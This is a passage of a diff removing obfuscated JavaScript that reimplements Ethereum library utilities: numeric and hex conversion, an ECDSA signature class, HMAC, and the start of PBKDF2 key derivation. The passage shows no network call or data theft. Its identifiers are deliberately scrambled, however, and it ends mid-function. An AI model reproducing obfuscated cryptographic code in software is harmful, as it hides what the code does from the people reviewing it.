- throw new Error("value will overwrite populated values: ".concat(_0x13ea4e(_0x5189c4)));
- }
- for (var _0x27be04 in _0x5189c4) {
- var _0xe42af = _0x5189c4[_0x27be04];
- _0x2d79b4.push(_0x27be04 + "=" + _0x13ea4e(_0xe42af));
- }
- }
- switch (_0x2d79b4.push("code=".concat(_0x2cfd57)), _0x2d79b4.push("version=".concat(_0x2774bb)), _0x2d79b4.length && (_0x43c2c2 += " (" + _0x2d79b4.join(", ") + ")"), _0x2cfd57) {
- case "INVALID_ARGUMENT":
- _0x253742 = new TypeError(_0x43c2c2);
- break;
- case "NUMERIC_FAULT":
- case "BUFFER_OVERRUN":
- _0x253742 = new RangeError(_0x43c2c2);
- break;
- default:
- _0x253742 = new Error(_0x43c2c2);
- }
- _0x7e8dd6(_0x253742, {
- code: _0x2cfd57
- });
- _0x5189c4 && Object.assign(_0x253742, _0x5189c4);
- return _0x253742;
- }
- function _0x2b816d(_0x202a95, _0x27ebcc, _0x1cd87b, _0x46e5a0) {
- if (!_0x202a95) {
- throw _0x283e69(_0x27ebcc, _0x1cd87b, _0x46e5a0);
- }
- }
- function _0x413a2d(_0x55dcad, _0x3ee84f, _0x34a385, _0x2beda7) {
- _0x2b816d(_0x55dcad, _0x3ee84f, "INVALID_ARGUMENT", {
- argument: _0x34a385,
- value: _0x2beda7
- });
- }
- function _0x42b886(_0x15a520, _0x21d20f, _0x21cf95) {
- null == _0x21cf95 && (_0x21cf95 = "");
- _0x21cf95 && (_0x21cf95 = ": " + _0x21cf95);
- _0x2b816d(_0x15a520 >= _0x21d20f, "missing arguemnt" + _0x21cf95, "MISSING_ARGUMENT", {
- count: _0x15a520,
- expectedCount: _0x21d20f
- });
- _0x2b816d(_0x15a520 <= _0x21d20f, "too many arguemnts" + _0x21cf95, "UNEXPECTED_ARGUMENT", {
- count: _0x15a520,
- expectedCount: _0x21d20f
- });
- }
- var _0x213f12 = ["NFD", "NFC", "NFKD", "NFKC"].reduce(function (_0x40d3c5, _0x20225d) {
- try {
- if ("test" !== "test".normalize(_0x20225d)) {
- throw new Error("bad");
- }
- if ("NFD" === _0x20225d && String.fromCharCode(233).normalize("NFD") !== String.fromCharCode(101, 769)) {
- throw new Error("broken");
- }
- _0x40d3c5.push(_0x20225d);
- } catch (_0x1e30bb) {}
- return _0x40d3c5;
- }, []);
- function _0x616e30(_0x3b2ff9) {
- _0x2b816d(_0x213f12.indexOf(_0x3b2ff9) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", {
- operation: "String.prototype.normalize",
- info: {
- form: _0x3b2ff9
- }
- });
- }
- function _0x5c4373(_0x160741, _0x27a1f1, _0x58766f) {
- if (null == _0x58766f && (_0x58766f = ""), _0x160741 !== _0x27a1f1) {
- var _0x393dab = _0x58766f;
- var _0x59a9c8 = "new";
- _0x58766f && (_0x393dab += ".", _0x59a9c8 += " " + _0x58766f);
- _0x2b816d(false, "private constructor; use ".concat(_0x393dab, "from* methods"), "UNSUPPORTED_OPERATION", {
- operation: _0x59a9c8
- });
- }
- }
- function _0xf8f10d(_0x29d1e7, _0x878193, _0x50cc57) {
- if (_0x29d1e7 instanceof Uint8Array) {
- return _0x50cc57 ? new Uint8Array(_0x29d1e7) : _0x29d1e7;
- }
- if ("string" == typeof _0x29d1e7 && _0x29d1e7.match(/^0x([0-9a-f][0-9a-f])*$/i)) {
- for (var _0x16d42a = new Uint8Array((_0x29d1e7.length - 2) / 2), _0x2f686f = 2, _0x3175e5 = 0; _0x3175e5 < _0x16d42a.length; _0x3175e5++) {
- _0x16d42a[_0x3175e5] = parseInt(_0x29d1e7.substring(_0x2f686f, _0x2f686f + 2), 16);
- _0x2f686f += 2;
- }
- return _0x16d42a;
- }
- _0x413a2d(false, "invalid BytesLike value", _0x878193 || "value", _0x29d1e7);
- }
- function _0x2565f8(_0x40cbb8, _0x45d4af) {
- return _0xf8f10d(_0x40cbb8, _0x45d4af, false);
- }
- function _0x32958d(_0x2ff813, _0x38ee97) {
- return _0xf8f10d(_0x2ff813, _0x38ee97, true);
- }
- function _0x2c6f22(_0x5acf18, _0x5db037) {
- return !("string" != typeof _0x5acf18 || !_0x5acf18.match(/^0x[0-9A-Fa-f]*$/) || "number" == typeof _0x5db037 && _0x5acf18.length !== 2 + 2 * _0x5db037 || true === _0x5db037 && _0x5acf18.length % 2 != 0);
- }
- function _0x33b477(_0x7c60e5) {
- return _0x2c6f22(_0x7c60e5, true) || _0x7c60e5 instanceof Uint8Array;
- }
- var _0x2b16ab = "0123456789abcdef";
- function _0x192257(_0x5bad43) {
- for (var _0x57ee86 = _0x2565f8(_0x5bad43), _0x45e82a = "0x", _0x5ec69b = 0; _0x5ec69b < _0x57ee86.length; _0x5ec69b++) {
- var _0x5f9686 = _0x57ee86[_0x5ec69b];
- _0x45e82a += _0x2b16ab[(240 & _0x5f9686) >> 4] + _0x2b16ab[15 & _0x5f9686];
- }
- return _0x45e82a;
- }
- function _0x251cd2(_0x2c754f) {
- return "0x" + _0x2c754f.map(function (_0xb27c6c) {
- return _0x192257(_0xb27c6c).substring(2);
- }).join("");
- }
- function _0x1f43f1(_0x336274) {
- return _0x2c6f22(_0x336274, true) ? (_0x336274.length - 2) / 2 : _0x2565f8(_0x336274).length;
- }
- function _0x3ec258(_0x4d3733, _0x5e01ca, _0x93d1b6) {
- var _0x178130 = _0x2565f8(_0x4d3733);
- null != _0x93d1b6 && _0x93d1b6 > _0x178130.length && _0x2b816d(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", {
- buffer: _0x178130,
- length: _0x178130.length,
- offset: _0x93d1b6
- });
- return _0x192257(_0x178130.slice(null == _0x5e01ca ? 0 : _0x5e01ca, null == _0x93d1b6 ? _0x178130.length : _0x93d1b6));
- }
- function _0x8b1210(_0x2e2792, _0x177c8b) {
- return function (_0x56f742, _0x41e42e, _0x412bb5) {
- var _0x5dd724 = _0x2565f8(_0x56f742);
- _0x2b816d(_0x41e42e >= _0x5dd724.length, "padding exceeds data length", "BUFFER_OVERRUN", {
- buffer: new Uint8Array(_0x5dd724),
- length: _0x41e42e,
- offset: _0x41e42e + 1
- });
- var _0x25e9ad = new Uint8Array(_0x41e42e);
- _0x25e9ad.fill(0);
- _0x412bb5 ? _0x25e9ad.set(_0x5dd724, _0x41e42e - _0x5dd724.length) : _0x25e9ad.set(_0x5dd724, 0);
- return _0x192257(_0x25e9ad);
- }(_0x2e2792, _0x177c8b, true);
- }
- function _0x52d71e(_0x45c16e, _0x3571de) {
- (null == _0x3571de || _0x3571de > _0x45c16e.length) && (_0x3571de = _0x45c16e.length);
- for (var _0x114691 = 0, _0x32a392 = new Array(_0x3571de); _0x114691 < _0x3571de; _0x114691++) {
- _0x32a392[_0x114691] = _0x45c16e[_0x114691];
- }
- return _0x32a392;
- }
- var _0x50f53d = BigInt(0);
- var _0x1e5db2 = BigInt(1);
- var _0x476881 = 9007199254740991;
- function _0x4ed172(_0x3c9b95, _0x598f22) {
- var _0x25230e = _0x1d7273(_0x3c9b95, "value");
- var _0x4591cb = BigInt(_0x453994(_0x598f22, "width"));
- var _0xc653d8 = _0x1e5db2 << _0x4591cb - _0x1e5db2;
- return _0x25230e < _0x50f53d ? (_0x2b816d((_0x25230e = -_0x25230e) <= _0xc653d8, "too low", "NUMERIC_FAULT", {
- operation: "toTwos",
- fault: "overflow",
- value: _0x3c9b95
- }), (~_0x25230e & (_0x1e5db2 << _0x4591cb) - _0x1e5db2) + _0x1e5db2) : (_0x2b816d(_0x25230e < _0xc653d8, "too high", "NUMERIC_FAULT", {
- operation: "toTwos",
- fault: "overflow",
- value: _0x3c9b95
- }), _0x25230e);
- }
- function _0x869ea9(_0x3abf5e, _0x1cefd4) {
- var _0x1a6532 = _0x448e0a(_0x3abf5e, "value");
- var _0x451db2 = BigInt(_0x453994(_0x1cefd4, "bits"));
- return _0x1a6532 & (_0x1e5db2 << _0x451db2) - _0x1e5db2;
- }
- function _0x1d7273(_0x20bcd6, _0x2c9c56) {
- switch (_0x4dce66(_0x20bcd6)) {
- case "bigint":
- return _0x20bcd6;
- case "number":
- _0x413a2d(Number.isInteger(_0x20bcd6), "underflow", _0x2c9c56 || "value", _0x20bcd6);
- _0x413a2d(_0x20bcd6 >= -_0x476881 && _0x20bcd6 <= _0x476881, "overflow", _0x2c9c56 || "value", _0x20bcd6);
- return BigInt(_0x20bcd6);
- case "string":
- try {
- if ("" === _0x20bcd6) {
- throw new Error("empty string");
- }
- return "-" === _0x20bcd6[0] && "-" !== _0x20bcd6[1] ? -BigInt(_0x20bcd6.substring(1)) : BigInt(_0x20bcd6);
- } catch (_0x9faaf9) {
- _0x413a2d(false, "invalid BigNumberish string: ".concat(_0x9faaf9.message), _0x2c9c56 || "value", _0x20bcd6);
- }
- }
- _0x413a2d(false, "invalid BigNumberish value", _0x2c9c56 || "value", _0x20bcd6);
- }
- function _0x448e0a(_0x38f10f, _0x284eed) {
- var _0x2d5a0b = _0x1d7273(_0x38f10f, _0x284eed);
- _0x2b816d(_0x2d5a0b >= _0x50f53d, "unsigned value cannot be negative", "NUMERIC_FAULT", {
- fault: "overflow",
- operation: "getUint",
- value: _0x38f10f
- });
- return _0x2d5a0b;
- }
- var _0xbfe723;
- var _0x14a840 = "0123456789abcdef";
- function _0xafeb24(_0x21aab1) {
- if (_0x21aab1 instanceof Uint8Array) {
- var _0x25faa2;
- var _0x1bb8e4 = "0x0";
- var _0x460a52 = function (_0x51d6b4, _0x4fa565) {
- var _0x979655 = "undefined" != typeof Symbol && _0x51d6b4[Symbol.iterator] || _0x51d6b4["@@iterator"];
- if (!_0x979655) {
- if (Array.isArray(_0x51d6b4) || (_0x979655 = function (_0x45a15b, _0x116546) {
- if (_0x45a15b) {
- if ("string" == typeof _0x45a15b) {
- return _0x52d71e(_0x45a15b, _0x116546);
- }
- var _0x2a4e98 = Object.prototype.toString.call(_0x45a15b).slice(8, -1);
- "Object" === _0x2a4e98 && _0x45a15b.constructor && (_0x2a4e98 = _0x45a15b.constructor.name);
- return "Map" === _0x2a4e98 || "Set" === _0x2a4e98 ? Array.from(_0x45a15b) : "Arguments" === _0x2a4e98 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x2a4e98) ? _0x52d71e(_0x45a15b, _0x116546) : undefined;
- }
- }(_0x51d6b4)) || _0x4fa565 && _0x51d6b4 && "number" == typeof _0x51d6b4.length) {
- _0x979655 && (_0x51d6b4 = _0x979655);
- var _0x3e84e2 = 0;
- var _0x47b99f = function () {};
- return {
- s: _0x47b99f,
- n: function () {
- return _0x3e84e2 >= _0x51d6b4.length ? {
- done: true
- } : {
- done: false,
- value: _0x51d6b4[_0x3e84e2++]
- };
- },
- e: function (_0x159516) {
- throw _0x159516;
- },
- f: _0x47b99f
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x438b90;
- var _0x1fcbae = true;
- var _0x3520e3 = false;
- return {
- s: function () {
- _0x979655 = _0x979655.call(_0x51d6b4);
- },
- n: function () {
- var _0x395f3f = _0x979655.next();
- _0x1fcbae = _0x395f3f.done;
- return _0x395f3f;
- },
- e: function (_0x527381) {
- _0x3520e3 = true;
- _0x438b90 = _0x527381;
- },
- f: function () {
- try {
- _0x1fcbae || null == _0x979655.return || _0x979655.return();
- } finally {
- if (_0x3520e3) {
- throw _0x438b90;
- }
- }
- }
- };
- }(_0x21aab1);
- try {
- for (_0x460a52.s(); !(_0x25faa2 = _0x460a52.n()).done;) {
- var _0x48c198 = _0x25faa2.value;
- _0x1bb8e4 += _0x14a840[_0x48c198 >> 4];
- _0x1bb8e4 += _0x14a840[15 & _0x48c198];
- }
- } catch (_0x1a41d5) {
- _0x460a52.e(_0x1a41d5);
- } finally {
- _0x460a52.f();
- }
- return BigInt(_0x1bb8e4);
- }
- return _0x1d7273(_0x21aab1);
- }
- function _0x453994(_0x209a59, _0x4fd723) {
- switch (_0x4dce66(_0x209a59)) {
- case "bigint":
- _0x413a2d(_0x209a59 >= -_0x476881 && _0x209a59 <= _0x476881, "overflow", _0x4fd723 || "value", _0x209a59);
- return Number(_0x209a59);
- case "number":
- _0x413a2d(Number.isInteger(_0x209a59), "underflow", _0x4fd723 || "value", _0x209a59);
- _0x413a2d(_0x209a59 >= -_0x476881 && _0x209a59 <= _0x476881, "overflow", _0x4fd723 || "value", _0x209a59);
- return _0x209a59;
- case "string":
- try {
- if ("" === _0x209a59) {
- throw new Error("empty string");
- }
- return _0x453994(BigInt(_0x209a59), _0x4fd723);
- } catch (_0x3843e5) {
- _0x413a2d(false, "invalid numeric string: ".concat(_0x3843e5.message), _0x4fd723 || "value", _0x209a59);
- }
- }
- _0x413a2d(false, "invalid numeric value", _0x4fd723 || "value", _0x209a59);
- }
- function _0x4fc59d(_0x580010, _0x4734c1) {
- var _0xfc746 = _0x448e0a(_0x580010, "value").toString(16);
- if (null == _0x4734c1) {
- _0xfc746.length % 2 && (_0xfc746 = "0" + _0xfc746);
- } else {
- var _0x2e5998 = _0x453994(_0x4734c1, "width");
- for (_0x2b816d(2 * _0x2e5998 >= _0xfc746.length, "value exceeds width (".concat(_0x2e5998, " bits)"), "NUMERIC_FAULT", {
- operation: "toBeHex",
- fault: "overflow",
- value: _0x580010
- }); _0xfc746.length < 2 * _0x2e5998;) {
- _0xfc746 = "0" + _0xfc746;
- }
- }
- return "0x" + _0xfc746;
- }
- function _0x30872d(_0x4d7945) {
- var _0x2557bd = _0x448e0a(_0x4d7945, "value");
- if (_0x2557bd === _0x50f53d) {
- return new Uint8Array([]);
- }
- var _0x29be18 = _0x2557bd.toString(16);
- _0x29be18.length % 2 && (_0x29be18 = "0" + _0x29be18);
- for (var _0xaaf042 = new Uint8Array(_0x29be18.length / 2), _0x158988 = 0; _0x158988 < _0xaaf042.length; _0x158988++) {
- var _0x23e463 = 2 * _0x158988;
- _0xaaf042[_0x158988] = parseInt(_0x29be18.substring(_0x23e463, _0x23e463 + 2), 16);
- }
- return _0xaaf042;
- }
- function _0x27594e(_0x4a6d66, _0x52d7f1, _0x193b3c) {
- !function (_0xbbd624, _0x84919e) {
- if (_0x84919e.has(_0xbbd624)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }(_0x4a6d66, _0x52d7f1);
- _0x52d7f1.set(_0x4a6d66, _0x193b3c);
- }
- var _0xe5519c = BigInt(0);
- var _0x480969 = BigInt(1);
- var _0x173405 = BigInt(2);
- var _0x4ba2ec = BigInt(27);
- var _0x4113cd = BigInt(28);
- var _0x355a25 = BigInt(35);
- var _0x2738e9 = {};
- function _0x118413(_0x2e1b81) {
- return _0x8b1210(_0x30872d(_0x2e1b81), 32);
- }
- var _0x2ddb54 = new WeakMap();
- var _0x276c67 = new WeakMap();
- var _0x17b9dc = new WeakMap();
- var _0x58f7fe = new WeakMap();
- _0xbfe723 = Symbol.for("nodejs.util.inspect.custom");
- var _0x47e1c0 = function () {
- function _0x130327(_0x318436, _0x5c1166, _0x5cfe07, _0x37a473) {
- _0x1d998d(this, _0x130327);
- _0x27594e(this, _0x2ddb54, {
- writable: true,
- value: undefined
- });
- _0x27594e(this, _0x276c67, {
- writable: true,
- value: undefined
- });
- _0x27594e(this, _0x17b9dc, {
- writable: true,
- value: undefined
- });
- _0x27594e(this, _0x58f7fe, {
- writable: true,
- value: undefined
- });
- _0x5c4373(_0x318436, _0x2738e9, "Signature");
- _0x207f54(this, _0x2ddb54, _0x5c1166);
- _0x207f54(this, _0x276c67, _0x5cfe07);
- _0x207f54(this, _0x17b9dc, _0x37a473);
- _0x207f54(this, _0x58f7fe, null);
- }
- _0x561e78(_0x130327, [{
- key: "r",
- get: function () {
- return _0x46b89d(this, _0x2ddb54);
- },
- set: function (_0x4179b3) {
- _0x413a2d(32 === _0x1f43f1(_0x4179b3), "invalid r", "value", _0x4179b3);
- _0x207f54(this, _0x2ddb54, _0x192257(_0x4179b3));
- }
- }, {
- key: "s",
- get: function () {
- return _0x46b89d(this, _0x276c67);
- },
- set: function (_0x33735f) {
- _0x413a2d(32 === _0x1f43f1(_0x33735f), "invalid s", "value", _0x33735f);
- var _0x2a95d4 = _0x192257(_0x33735f);
- _0x413a2d(parseInt(_0x2a95d4.substring(0, 3)) < 8, "non-canonical s", "value", _0x2a95d4);
- _0x207f54(this, _0x276c67, _0x2a95d4);
- }
- }, {
- key: "v",
- get: function () {
- return _0x46b89d(this, _0x17b9dc);
- },
- set: function (_0x1064c7) {
- var _0x25a7b6 = _0x453994(_0x1064c7, "value");
- _0x413a2d(27 === _0x25a7b6 || 28 === _0x25a7b6, "invalid v", "v", _0x1064c7);
- _0x207f54(this, _0x17b9dc, _0x25a7b6);
- }
- }, {
- key: "networkV",
- get: function () {
- return _0x46b89d(this, _0x58f7fe);
- }
- }, {
- key: "legacyChainId",
- get: function () {
- var _0x13a0fd = this.networkV;
- return null == _0x13a0fd ? null : _0x130327.getChainId(_0x13a0fd);
- }
- }, {
- key: "yParity",
- get: function () {
- return 27 === this.v ? 0 : 1;
- }
- }, {
- key: "yParityAndS",
- get: function () {
- var _0x3533eb = _0x2565f8(this.s);
- this.yParity && (_0x3533eb[0] |= 128);
- return _0x192257(_0x3533eb);
- }
- }, {
- key: "compactSerialized",
- get: function () {
- return _0x251cd2([this.r, this.yParityAndS]);
- }
- }, {
- key: "serialized",
- get: function () {
- return _0x251cd2([this.r, this.s, this.yParity ? "0x1c" : "0x1b"]);
- }
- }, {
- key: _0xbfe723,
- value: function () {
- return "Signature { r: \"".concat(this.r, "\", s: \"").concat(this.s, "\", yParity: ").concat(this.yParity, ", networkV: ").concat(this.networkV, " }");
- }
- }, {
- key: "clone",
- value: function () {
- var _0x2e9a66 = new _0x130327(_0x2738e9, this.r, this.s, this.v);
- this.networkV && _0x207f54(_0x2e9a66, _0x58f7fe, this.networkV);
- return _0x2e9a66;
- }
- }, {
- key: "toJSON",
- value: function () {
- var _0x1cf2b3 = this.networkV;
- return {
- _type: "signature",
- networkV: null != _0x1cf2b3 ? _0x1cf2b3.toString() : null,
- r: this.r,
- s: this.s,
- v: this.v
- };
- }
- }], [{
- key: "getChainId",
- value: function (_0x3fabf9) {
- var _0x54b007 = _0x1d7273(_0x3fabf9, "v");
- return _0x54b007 == _0x4ba2ec || _0x54b007 == _0x4113cd ? _0xe5519c : (_0x413a2d(_0x54b007 >= _0x355a25, "invalid EIP-155 v", "v", _0x3fabf9), (_0x54b007 - _0x355a25) / _0x173405);
- }
- }, {
- key: "getChainIdV",
- value: function (_0x3a354b, _0x3029be) {
- return _0x1d7273(_0x3a354b) * _0x173405 + BigInt(35 + _0x3029be - 27);
- }
- }, {
- key: "getNormalizedV",
- value: function (_0x18a8d0) {
- var _0x435cdd = _0x1d7273(_0x18a8d0);
- return _0x435cdd === _0xe5519c || _0x435cdd === _0x4ba2ec ? 27 : _0x435cdd === _0x480969 || _0x435cdd === _0x4113cd ? 28 : (_0x413a2d(_0x435cdd >= _0x355a25, "invalid v", "v", _0x18a8d0), _0x435cdd & _0x480969 ? 27 : 28);
- }
- }, {
- key: "from",
- value: function (_0x31a85d) {
- function _0x1a63cc(_0x44e77b, _0x217329) {
- _0x413a2d(_0x44e77b, _0x217329, "signature", _0x31a85d);
- }
- if (null == _0x31a85d) {
- return new _0x130327(_0x2738e9, _0x5b0e9c, _0x5b0e9c, 27);
- }
- if ("string" == typeof _0x31a85d) {
- var _0x599256 = _0x2565f8(_0x31a85d, "signature");
- if (64 === _0x599256.length) {
- var _0x423859 = _0x192257(_0x599256.slice(0, 32));
- var _0x19108a = _0x599256.slice(32, 64);
- var _0x49664e = 128 & _0x19108a[0] ? 28 : 27;
- _0x19108a[0] &= 127;
- return new _0x130327(_0x2738e9, _0x423859, _0x192257(_0x19108a), _0x49664e);
- }
- if (65 === _0x599256.length) {
- var _0x4ff73b = _0x192257(_0x599256.slice(0, 32));
- var _0x4cf9e8 = _0x599256.slice(32, 64);
- _0x1a63cc(0 == (128 & _0x4cf9e8[0]), "non-canonical s");
- var _0x56fc23 = _0x130327.getNormalizedV(_0x599256[64]);
- return new _0x130327(_0x2738e9, _0x4ff73b, _0x192257(_0x4cf9e8), _0x56fc23);
- }
- _0x1a63cc(false, "invalid raw signature length");
- }
- if (_0x31a85d instanceof _0x130327) {
- return _0x31a85d.clone();
- }
- var _0x4b5391 = _0x31a85d.r;
- _0x1a63cc(null != _0x4b5391, "missing r");
- var _0x3acee8 = _0x118413(_0x4b5391);
- var _0x541bec = function (_0x3c9493, _0x34e6af) {
- if (null != _0x3c9493) {
- return _0x118413(_0x3c9493);
- }
- if (null != _0x34e6af) {
- _0x1a63cc(_0x2c6f22(_0x34e6af, 32), "invalid yParityAndS");
- var _0x4e0f9f = _0x2565f8(_0x34e6af);
- _0x4e0f9f[0] &= 127;
- return _0x192257(_0x4e0f9f);
- }
- _0x1a63cc(false, "missing s");
- }(_0x31a85d.s, _0x31a85d.yParityAndS);
- _0x1a63cc(0 == (128 & _0x2565f8(_0x541bec)[0]), "non-canonical s");
- var _0x530150 = function (_0x417f10, _0x40abd1, _0x130b61) {
- if (null != _0x417f10) {
- var _0x314739 = _0x1d7273(_0x417f10);
- return {
- networkV: _0x314739 >= _0x355a25 ? _0x314739 : undefined,
- v: _0x130327.getNormalizedV(_0x314739)
- };
- }
- if (null != _0x40abd1) {
- _0x1a63cc(_0x2c6f22(_0x40abd1, 32), "invalid yParityAndS");
- return {
- v: 128 & _0x2565f8(_0x40abd1)[0] ? 28 : 27
- };
- }
- if (null != _0x130b61) {
- switch (_0x130b61) {
- case 0:
- return {
- v: 27
- };
- case 1:
- return {
- v: 28
- };
- }
- _0x1a63cc(false, "invalid yParity");
- }
- _0x1a63cc(false, "missing v");
- }(_0x31a85d.v, _0x31a85d.yParityAndS, _0x31a85d.yParity);
- var _0x1c0f14 = _0x530150.networkV;
- var _0x21a778 = _0x530150.v;
- var _0x187cef = new _0x130327(_0x2738e9, _0x3acee8, _0x541bec, _0x21a778);
- _0x1c0f14 && _0x207f54(_0x187cef, _0x58f7fe, _0x1c0f14);
- _0x1a63cc(!("yParity" in _0x31a85d && _0x31a85d.yParity !== _0x187cef.yParity), "yParity mismatch");
- _0x1a63cc(!("yParityAndS" in _0x31a85d && _0x31a85d.yParityAndS !== _0x187cef.yParityAndS), "yParityAndS mismatch");
- return _0x187cef;
- }
- }]);
- return _0x130327;
- }();
- function _0x34270f(_0x5398ba) {
- if (!Number.isSafeInteger(_0x5398ba) || _0x5398ba < 0) {
- throw new Error("Wrong positive integer: " + _0x5398ba);
- }
- }
- function _0x15f5a8(_0x48cdd6, ..._0x297819) {
- if (!(_0x48cdd6 instanceof Uint8Array)) {
- throw new TypeError("Expected Uint8Array");
- }
- if (_0x297819.length > 0 && !_0x297819.includes(_0x48cdd6.length)) {
- throw new TypeError("Expected Uint8Array of length " + _0x297819 + ", not of length=" + _0x48cdd6.length);
- }
- }
- const _0x80c026 = {
- number: _0x34270f,
- bool: function (_0x8c927f) {
- if ("boolean" != typeof _0x8c927f) {
- throw new Error("Expected boolean, not " + _0x8c927f);
- }
- },
- bytes: _0x15f5a8,
- hash: function (_0x1bdcea) {
- if ("function" != typeof _0x1bdcea || "function" != typeof _0x1bdcea.create) {
- throw new Error("Hash should be wrapped by utils.wrapConstructor");
- }
- _0x34270f(_0x1bdcea.outputLen);
- _0x34270f(_0x1bdcea.blockLen);
- },
- exists: function (_0x8dc7ce, _0x352c32 = true) {
- if (_0x8dc7ce.destroyed) {
- throw new Error("Hash instance has been destroyed");
- }
- if (_0x352c32 && _0x8dc7ce.finished) {
- throw new Error("Hash#digest() has already been called");
- }
- },
- output: function (_0x355f9e, _0x547e4e) {
- _0x15f5a8(_0x355f9e);
- const _0x203eb5 = _0x547e4e.outputLen;
- if (_0x355f9e.length < _0x203eb5) {
- throw new Error("digestInto() expects output buffer of length at least " + _0x203eb5);
- }
- }
- };
- const _0x38422b = _0x80c026;
- "object" == typeof self && "crypto" in self && self.crypto;
- const _0x2011b4 = _0x2df6aa => new Uint32Array(_0x2df6aa.buffer, _0x2df6aa.byteOffset, Math.floor(_0x2df6aa.byteLength / 4));
- const _0x2dcc05 = _0x32e34d => new DataView(_0x32e34d.buffer, _0x32e34d.byteOffset, _0x32e34d.byteLength);
- const _0x53cc62 = (_0x547e7b, _0x19f045) => _0x547e7b << 32 - _0x19f045 | _0x547e7b >>> _0x19f045;
- if (68 !== new Uint8Array(new Uint32Array([287454020]).buffer)[0]) {
- throw new Error("Non little-endian hardware is not supported");
- }
- Array.from({
- length: 256
- }, (_0x2b2f45, _0x42d5c1) => _0x42d5c1.toString(16).padStart(2, "0"));
- const _0x4eff5e = async () => {};
- async function _0x14ed79(_0x1c3ceb, _0x1926a7, _0x2a2ccb) {
- let _0x20ca97 = Date.now();
- for (let _0x57f976 = 0; _0x57f976 < _0x1c3ceb; _0x57f976++) {
- _0x2a2ccb(_0x57f976);
- const _0x5734a3 = Date.now() - _0x20ca97;
- _0x5734a3 >= 0 && _0x5734a3 < _0x1926a7 || (await _0x4eff5e(), _0x20ca97 += _0x5734a3);
- }
- }
- function _0x351a47(_0x1ea123) {
- if ("string" == typeof _0x1ea123 && (_0x1ea123 = function (_0x3134d7) {
- if ("string" != typeof _0x3134d7) {
- throw new TypeError("utf8ToBytes expected string, got " + typeof _0x3134d7);
- }
- return new TextEncoder().encode(_0x3134d7);
- }(_0x1ea123)), !(_0x1ea123 instanceof Uint8Array)) {
- throw new TypeError("Expected input type is Uint8Array (got " + typeof _0x1ea123 + ")");
- }
- return _0x1ea123;
- }
- class _0x3da529 {
- clone() {
- return this._cloneInto();
- }
- }
- const _0x336ba9 = _0x51605b => "[object Object]" === Object.prototype.toString.call(_0x51605b) && _0x51605b.constructor === Object;
- function _0x258e20(_0x497d97, _0x524b18) {
- if (undefined !== _0x524b18 && ("object" != typeof _0x524b18 || !_0x336ba9(_0x524b18))) {
- throw new TypeError("Options should be object or undefined");
- }
- return Object.assign(_0x497d97, _0x524b18);
- }
- function _0xef64ce(_0x485f54) {
- const _0x4fc442 = _0x5c7375 => _0x485f54().update(_0x351a47(_0x5c7375)).digest();
- const _0x4993d1 = _0x485f54();
- _0x4fc442.outputLen = _0x4993d1.outputLen;
- _0x4fc442.blockLen = _0x4993d1.blockLen;
- _0x4fc442.create = () => _0x485f54();
- return _0x4fc442;
- }
- class _0x41584c extends _0x3da529 {
- constructor(_0x4812b9, _0x47c4ec) {
- super();
- this.finished = false;
- this.destroyed = false;
- _0x38422b.hash(_0x4812b9);
- const _0x36b0ec = _0x351a47(_0x47c4ec);
- if (this.iHash = _0x4812b9.create(), !(this.iHash instanceof _0x3da529)) {
- throw new TypeError("Expected instance of class which extends utils.Hash");
- }
- this.blockLen = this.iHash.blockLen;
- const _0x43db71 = this.blockLen;
- this.outputLen = this.iHash.outputLen;
- const _0x23c2a8 = new Uint8Array(_0x43db71);
- _0x23c2a8.set(_0x36b0ec.length > this.iHash.blockLen ? _0x4812b9.create().update(_0x36b0ec).digest() : _0x36b0ec);
- for (let _0x4374b0 = 0; _0x4374b0 < _0x23c2a8.length; _0x4374b0++) {
- _0x23c2a8[_0x4374b0] ^= 54;
- }
- this.iHash.update(_0x23c2a8);
- this.oHash = _0x4812b9.create();
- for (let _0x2d3502 = 0; _0x2d3502 < _0x23c2a8.length; _0x2d3502++) {
- _0x23c2a8[_0x2d3502] ^= 106;
- }
- this.oHash.update(_0x23c2a8);
- _0x23c2a8.fill(0);
- }
- update(_0x1053c9) {
- _0x38422b.exists(this);
- this.iHash.update(_0x1053c9);
- return this;
- }
- digestInto(_0x5740e5) {
- _0x38422b.exists(this);
- _0x38422b.bytes(_0x5740e5, this.outputLen);
- this.finished = true;
- this.iHash.digestInto(_0x5740e5);
- this.oHash.update(_0x5740e5);
- this.oHash.digestInto(_0x5740e5);
- this.destroy();
- }
- digest() {
- const _0x2831ee = new Uint8Array(this.oHash.outputLen);
- this.digestInto(_0x2831ee);
- return _0x2831ee;
- }
- _cloneInto(_0x4ae2eb) {
- _0x4ae2eb || (_0x4ae2eb = Object.create(Object.getPrototypeOf(this), {}));
- const {
- oHash: _0x4e3293,
- iHash: _0x4ef4c8,
- finished: _0x1cf968,
- destroyed: _0x347dcb,
- blockLen: _0x11ddfe,
- outputLen: _0x55c403
- } = this;
- _0x4ae2eb.finished = _0x1cf968;
- _0x4ae2eb.destroyed = _0x347dcb;
- _0x4ae2eb.blockLen = _0x11ddfe;
- _0x4ae2eb.outputLen = _0x55c403;
- _0x4ae2eb.oHash = _0x4e3293._cloneInto(_0x4ae2eb.oHash);
- _0x4ae2eb.iHash = _0x4ef4c8._cloneInto(_0x4ae2eb.iHash);
- return _0x4ae2eb;
- }
- destroy() {
- this.destroyed = true;
- this.oHash.destroy();
- this.iHash.destroy();
- }
- }
- const _0x16b321 = (_0x4b92f3, _0x23192a, _0x1f909e) => new _0x41584c(_0x4b92f3, _0x23192a).update(_0x1f909e).digest();
- function _0x28d598(_0x3ac908, _0x1dc8dd, _0x41c8b2, _0x33fa6b) {
- const {
- c: _0xa6b5f4,
- dkLen: _0x559ad5,
- DK: _0x45183d,
- PRF: _0x4713ef,
- PRFSalt: _0x9522bf
- } = function (_0x143744, _0x2487b6, _0x146e0c, _0x48d0f8) {
- _0x38422b.hash(_0x143744);
- const _0x1f43af = _0x258e20({
- dkLen: 32,
- asyncTick: 10
- }, _0x48d0f8);
- const {
- c: _0xaafb91,
- dkLen: _0x49e3d0,
- asyncTick: _0x163a54
- } = _0x1f43af;
